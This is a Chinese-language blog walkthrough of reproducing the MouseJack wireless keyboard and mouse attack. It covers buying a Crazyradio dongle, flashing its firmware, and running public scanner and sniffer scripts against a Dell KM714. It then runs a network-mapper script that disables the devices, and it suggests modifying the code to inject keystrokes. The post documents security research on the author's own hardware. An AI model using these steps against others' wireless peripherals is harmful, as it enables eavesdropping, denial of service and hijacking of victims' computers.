近日,Bastille的研究團隊發現了一種針對藍牙鍵盤鼠標的攻擊,攻擊者可以利用漏洞控制電腦操作,他們將此攻擊命名為MouseJack。 攻擊者僅需要在亞馬遜上以60美元購買設備,改造之后即可對百米范圍內存在漏洞的藍牙無線鍵鼠進行劫持,向受害計算機輸入任意指令。相信對此感興趣的人有很多,所以我根據其公布的信息購買了相應設備來進行測試,現將測試經驗分享給大家。
軟件工程師馬克紐林說:“利用假冒的無線電腦鼠標和鍵盤可以從100米的距離利用便攜式外圍設備入侵筆記本電腦,這些設備來自至少七家大廠商,包括羅技、微軟、亞馬遜”。 Bastille研究團隊發現了針對13種鼠標和鍵盤的攻擊并向各廠商報告了漏洞,其中有些廠商已經發布了補丁。
由于沒有身份驗證機制,所以適配器無法識別出數據包是由鼠標發送的還是由攻擊者發送的。
因此,攻擊者可以偽裝成一個鼠標發送自己的數據或者點擊數據包以欺騙適配器
相信好多小伙伴已經在著手購買設備了,但是去國外的亞馬遜以60美元購買設備有點不現實,所以我提前給大家探了路,在國內就可以用不到200元的價格購入設備,避免多花冤枉錢
測試設備:
1、Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle(<¥200)
2、DELL KM714 無線鍵盤鼠標套裝(<¥400)
注:
以下鏈接展示了存在漏洞的設備:
https://www.bastille.net/affected-devices
3、我的測試設備
測試環境:
本機系統: Win7
虛擬機系統: Kali 1.0
測試流程:
#!bash
sudo apt-get install sdcc binutils python python-pip
sudo pip install -U pip
sudo pip install -U -I pyusb
sudo pip install -U platformio
下載代碼https://github.com/RFStorm/mousejack,執行:
#!bash
cd mousejack-master/
make
如圖
執行:
#!bash
make install
如圖,操作失敗
在此處獲得提示,需要更新Crazyradio 固件:
https://github.com/RFStorm/mousejack/issues/2
更新方法可參照:
https://wiki.bitcraze.io/projects:crazyradio:programming
下載代碼https://github.com/bitcraze/crazyradio-firmware,執行:
#!bash
cd crazyradio-firmware
python usbtools/launchBootloader.py
如圖
到https://github.com/bitcraze/crazyradio-firmware/releases
下載cradio-pa-0.53.bin,放在crazyradio-firmware文件下,執行:
#!bash
python usbtools/nrfbootload.py flash cradio-pa-0.53.bin
如圖,成功更新Crazyradio 固件
執行
#!bash
cd mousejack-master/
make install
如圖,發現依然失敗
接著執行:
#!bash
lsusb -d 1915:7777 -v | grep bcdDevice
此時也無法查看固件版本
原來需要把U盤拔下來重新插進去
再次執行代碼查看固件版本
#!bash
lsusb -d 1915:7777 -v | grep bcdDevice
如圖成功
再次執行
#!bash
make install
成功,如圖
根據上面更新固件成功的代碼提示"Please unplug your dongle or breakout board and plug it back in",再次拔掉重新插入U盤
如圖,此時本機的Windows系統無法識別U盤,這就導致虛擬機系統也無法加載U盤,無法進行后續的測試
原來需要在Windows上安裝Crazyradio固件的驅動
(1)參考https://wiki.bitcraze.io/doc:crazyradio:install_win7
手動下載驅動包,在設備管理器中找到未識別的設備,手動更新驅動,但是依然無法識別
(2)參考https://wiki.bitcraze.io/doc:crazyradio:install_windows_zadig
下載zadig來識別U盤進行更新驅動
但發現zadig也無法識別U盤,因此這種方法也失效
此時Windows無法識別U盤,有如下兩種假設:
(1)Windows系統下的Crazyradio固件驅動存在問題,所以無法識別,因此導致虛擬機系統無法加載U盤(但是已經用了2種更新驅動的方法還是無法識別,會不會是刷壞了呢)
(2)U盤被刷壞(存在這種可能,固件更新的說明里有提到,不是100%安全),有詢問研究過crazyradio file的小伙伴,也傾向于U盤被刷壞
為了測試能夠繼續進行,改變了思路決定更換測試環境,在其他系統上也許能夠繞過這個難題。
(1)ubuntu
感興趣的小伙伴可以深入測試
(2)osx
使用osx系統測試,也許能夠成功識別U盤,這也就是為什么最終采用了osx系統測試
測試發現osx系統能夠成功識別,如圖
依然是在虛擬機里面接著測試,這次虛擬機中的系統使用的是kali2.0,順便也就研究了如果成功刷好U盤,在其他系統上使用需要哪些環境.
經測試得出初步結論:
如果刷好U盤,只需要在新系統上下載Github代碼,即可進行接下來的測試
簡單的測試圖如下
連接上設備Dell KM714,對比給出的硬件id
右圖為購買的Dell KM714顯示的硬件id
(1)scanner
執行
#!bash
cd mousejack-master/
./nrf24-scanner.py -c {1..5}
運行后,會捕獲附近所有設備的數據包
這時我們對KM714鼠標和鍵盤操作,命令行會立即回顯捕獲到的數據包
可找到Dell KM714的地址為 08:D0:4F:28:02
(2)sniffer
確定了Dell KM714的地址,就可以對其進行定向捕獲 執行
#!bash
./nrf24-sniffer.py -a 08:D0:4F:28:02
(3)network mapper(Denial of Service)
執行
#!bash
./nrf24-network-mapper.py -a 08:D0:4F:28:02
可攔截地址為08:D0:4F:28:02的設備發出的數據包,并對最后一位做修改,此操作可使設備失效,無法對電腦發送控制指令
如圖,執行完腳本后,此時Dell KM714的鼠標鍵盤失去響應,無法對電腦進行控制,只有重新插拔接收器才能恢復正常。
注:
Verification succeded!
即代表升級成功,發光管會顯示紅燈的原因在于對固件進行升級操作后,并未對發光管進行設置,因此顯示紅色。 板子上的燈雖然是紅色,但不影響功能。以上分享了我對mousejack的測試心得,記錄的比較完整,希望對你的測試研究有所幫助。
當然,本文僅僅是對其公布的github代碼進行初步測試,更多深入測試也在進行當中。如果需要實現劫持鼠標鍵盤,發送鍵盤消息,可以嘗試修改github中的python代碼。
如果你有更好的想法或是遇到了新的問題,歡迎和我交流:)
本文由三好學生原創并首發于烏云drops,轉載請注明